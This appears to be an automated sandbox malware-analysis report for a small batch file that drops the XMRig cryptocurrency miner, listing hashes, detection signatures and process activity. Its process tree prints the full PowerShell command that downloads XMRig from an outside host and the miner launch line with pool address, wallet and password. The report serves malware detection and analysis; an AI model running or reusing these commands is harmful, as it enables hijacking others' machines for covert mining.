Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-1703-x64
10tesy - Copy (11).bat
windows10-1703-x64
10tesy - Copy (12).bat
windows10-1703-x64
10tesy - Copy (13).bat
windows10-1703-x64
10tesy - Copy (14).bat
windows10-1703-x64
10tesy - Copy (2).bat
windows10-1703-x64
10tesy - Copy (3).bat
windows10-1703-x64
10tesy - Copy (4).bat
windows10-1703-x64
10tesy - Copy (5).bat
windows10-1703-x64
10tesy - Copy (6).bat
windows10-1703-x64
10tesy - Copy (7).bat
windows10-1703-x64
10tesy - Copy (8).bat
windows10-1703-x64
10tesy - Copy (9).bat
windows10-1703-x64
10tesy - Copy.bat
windows10-1703-x64
10tesy.bat
windows10-1703-x64
10Analysis
-
max time kernel
1790s -
max time network
1797s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system -
submitted
01-01-2024 03:11
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10-20231215-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10-20231215-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10-20231220-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10-20231215-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10-20231215-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10-20231215-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10-20231215-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10-20231215-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10-20231215-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10-20231215-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10-20231215-en
General
-
Target
tesy - Copy (2).bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 48 IoCs
resource yara_rule behavioral6/files/0x000600000001ac23-119.dat family_xmrig behavioral6/files/0x000600000001ac23-119.dat xmrig behavioral6/memory/4564-122-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-125-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-126-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-127-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-130-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-131-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-132-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-133-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-134-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-135-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-136-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-137-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-138-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-139-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-140-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-141-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-142-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-143-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-144-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-145-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-146-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-147-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-148-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-149-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-150-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-151-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-153-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-154-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-155-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-156-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-157-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-158-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-159-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-160-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-161-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-162-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-163-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-164-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-165-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-166-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-167-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-169-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-170-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-175-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-178-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig behavioral6/memory/4564-182-0x00007FF779720000-0x00007FF77A223000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 3304 powershell.exe 7 3304 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4564 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3304 powershell.exe 3304 powershell.exe 3304 powershell.exe 2908 powershell.exe 2908 powershell.exe 2908 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 612 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3304 powershell.exe Token: SeDebugPrivilege 2908 powershell.exe Token: SeLockMemoryPrivilege 4564 xmrig.exe Token: SeLockMemoryPrivilege 4564 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4564 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 532 wrote to memory of 3304 532 cmd.exe 16 PID 532 wrote to memory of 3304 532 cmd.exe 16 PID 532 wrote to memory of 2908 532 cmd.exe 74 PID 532 wrote to memory of 2908 532 cmd.exe 74 PID 532 wrote to memory of 4564 532 cmd.exe 75 PID 532 wrote to memory of 4564 532 cmd.exe 75
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:532 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3304
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2908
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4564
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
-
Filesize
3KB
MD542d4b1d78e6e092af15c7aef34e5cf45
SHA16cf9d0e674430680f67260194d3185667a2bb77b
SHA256c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0
SHA512d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930
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Filesize
1KB
MD512917e3955a2e3968c1b27001cc63dcc
SHA18a2024cbab50a523adb40fc341374f6ec034f878
SHA2566a5dc225e6050783aa9d4a3d96c0ef9a511f79b7ccd6fffd9d10594a920dc0af
SHA51270ea3917e4f75b101cded48d6549d8a54b04add10d73f224cfa5e012e5af0182b07d3e8c14893857d66e10f3b11d9481317288554d097c66d3acc17941fb22eb
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
17KB
MD5835bfddca9a075dd36113864c451ed6d
SHA1bedbb323b521adbf0547094ec3b1eac844e149f3
SHA256d4b0f20539a7eb23d4ab2dba7371ae930f289fea9bf559eb27cb02c5fea8ba5b
SHA512d91f17e545f2b4e969a51f1e68114a7bf3d7d5b506728164c6b1e5c0e280b6a8840d193a454b3abd351cf10f3a7c18c8ca8ddfd258d0fe61effbaf4d391e175e
-
Filesize
9KB
MD51a2d34c6b3cb82b32efc8f6409d85c7f
SHA1bb30c2f2036285fdbfedde098d313a8ca4a8ddb2
SHA256003c83d152ea92157ab63678cd99e3268b69570227f2008c76de1cca96418b15
SHA512e4cdd19dbc3920edc82744a0c61c0d2a6653a00db4a1619f4de740e3c5f33559cc07949f92d080ab7deb635762af61242e952301d00c86476b853393c6de6466